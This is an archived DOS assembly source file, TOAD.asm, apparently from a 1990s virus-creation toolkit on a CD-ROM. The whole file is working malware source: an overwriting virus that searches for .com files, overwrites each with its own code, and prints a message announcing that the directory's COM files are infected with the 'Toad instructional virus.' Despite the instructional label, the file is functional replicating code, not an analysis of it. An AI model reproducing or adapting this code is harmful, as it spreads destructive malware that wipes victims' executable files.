home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK1.ZIP / Codbrk1 / Cdbkutl / Create / TOAD.asm < prev   
Encoding:
Assembly Source File  |  1997-10-20  |  1.1 KB  |  51 lines
  1.  
  2. code    segment                 
  3.         assume  cs:code,ds:code      
  4.         org     100h
  5. toad    proc    near
  6.  
  7. first_fly:
  8.       mov     ah,4eh
  9. find_fly:
  10.         xor     cx,cx                                   
  11.         lea     dx,comsig                                      
  12.         int     21h
  13.         jc      wart_growth             
  14.  
  15. open_fly:
  16.         mov     ax,3d02h        
  17.         mov     dx,9eh          
  18.         int     21h
  19.  
  20. eat_fly: 
  21.         xchg    bx,ax            
  22.         mov     ah,40h
  23.         mov     cx,offset horny - offset first_fly          
  24.         lea     dx,first_fly      
  25.         int     21h
  26.  
  27. stitch_up:
  28.         mov     ah,3eh           
  29.         int     21h
  30.       mov     ah,4fh
  31.       jmp     find_fly
  32.  
  33. wart_growth:
  34.       mov     ah,09h
  35.       mov     dx,offset wart
  36.       int     21h
  37.  
  38. cya:    int     20h             
  39.  
  40.  
  41. comsig  db      "*.com",0
  42. wart    db      'Congratulations! You have infected all the COM files in this ',10,13
  43.  
  44.       db      'directory with the Toad instructional virus. Have a nice day.',10,13,'$'    
  45. horny   label   near
  46. toad    endp
  47. code    ends
  48.         end     first_fly
  49.  
  50.        
  51.